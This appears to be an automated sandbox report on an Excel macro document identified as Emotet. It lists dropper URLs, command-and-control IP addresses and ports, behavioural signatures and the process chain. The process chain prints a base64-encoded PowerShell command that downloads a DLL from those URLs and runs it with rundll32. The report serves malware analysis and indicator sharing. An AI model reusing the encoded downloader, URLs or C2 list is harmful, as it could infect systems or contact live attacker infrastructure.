Analysis
- max time kernel
124s - max time network
135s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
25/01/2022, 15:59
General
- Target tmpwtqhmdxp.xls
- Size 144KB
- Sample220125-te4jgaafe3
- SHA256 abf95eb529d73f4ecd8042e767de40631e58e7de0b2b731cc12dbe42104b752d
Malware Config
Extracted
-
ps1
-
exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
-
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
-
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
-
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
-
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
-
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
-
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
-
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
-
exe.dropper
https://100lamp.com.ua:443/sale/a/
-
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/
Extracted
-
emotet
-
Epoch4
-
51.77.82.125:443
-
69.197.160.180:8080
-
103.75.201.2:443
-
173.212.193.249:8080
-
45.118.135.203:7080
-
45.118.115.99:8080
-
162.243.175.63:443
-
192.254.71.210:443
-
50.116.54.215:443
-
51.38.71.0:443
-
138.185.72.26:8080
-
131.100.24.231:80
-
212.237.5.209:443
-
209.59.138.75:7080
-
176.104.106.96:8080
-
107.182.225.142:8080
-
45.142.114.231:8080
-
212.237.56.116:7080
-
207.38.84.195:8080
-
158.69.222.101:443
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpwtqhmdxp.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\windows\syswow64\rundll32.exe"C:\windows\syswow64\rundll32.exe" c:\programdata\1591866087.dll,f5482176474⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "c:\programdata\1591866087.dll",DllRegisterServer5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yzgzozbwebij\gucejovkauqqp.yps",aiSUc6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Yzgzozbwebij\gucejovkauqqp.yps",DllRegisterServer7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1040-352-0x0000000004880000-0x00000000048A5000-memory.dmp
memory/1608-370-0x00000000055B0000-0x00000000055D5000-memory.dmp
memory/1608-366-0x0000000005410000-0x0000000005435000-memory.dmp
memory/1608-364-0x00000000053B0000-0x00000000053D5000-memory.dmp
memory/1608-362-0x0000000005350000-0x0000000005375000-memory.dmp
memory/1608-357-0x0000000004D30000-0x0000000004D55000-memory.dmp
memory/1608-355-0x0000000004B51000-0x0000000004B72000-memory.dmp
memory/3348-367-0x00000000011A0000-0x00000000011C5000-memory.dmp
memory/3656-131-0x00007FFB349C0000-0x00007FFB349D0000-memory.dmp
memory/3656-421-0x00007FFB38420000-0x00007FFB38430000-memory.dmp
memory/3656-121-0x00007FFB38420000-0x00007FFB38430000-memory.dmp
memory/3656-120-0x00007FFB38420000-0x00007FFB38430000-memory.dmp
memory/3656-118-0x00007FFB38420000-0x00007FFB38430000-memory.dmp
memory/3656-119-0x00007FFB38420000-0x00007FFB38430000-memory.dmp
memory/3656-420-0x00007FFB38420000-0x00007FFB38430000-memory.dmp
memory/3656-418-0x00007FFB38420000-0x00007FFB38430000-memory.dmp
memory/3656-419-0x00007FFB38420000-0x00007FFB38430000-memory.dmp
memory/3656-124-0x00007FFB38420000-0x00007FFB38430000-memory.dmp
memory/3656-273-0x000001F2F0A60000-0x000001F2F0A64000-memory.dmp
memory/3656-132-0x00007FFB349C0000-0x00007FFB349D0000-memory.dmp
memory/4764-375-0x0000000000730000-0x0000000000755000-memory.dmp
memory/4764-371-0x0000000000070000-0x0000000000095000-memory.dmp
memory/4764-377-0x0000000000760000-0x0000000000785000-memory.dmp
memory/4764-379-0x0000000000790000-0x00000000007B5000-memory.dmp
memory/5072-348-0x0000015ECCF40000-0x0000015EE5020000-memory.dmp
memory/5072-339-0x0000015ECCF40000-0x0000015EE5020000-memory.dmp
memory/5072-338-0x0000015ECCF40000-0x0000015EE5020000-memory.dmp
memory/5072-325-0x0000015EE52A0000-0x0000015EE5316000-memory.dmp
memory/5072-322-0x0000015EE4F70000-0x0000015EE4F92000-memory.dmp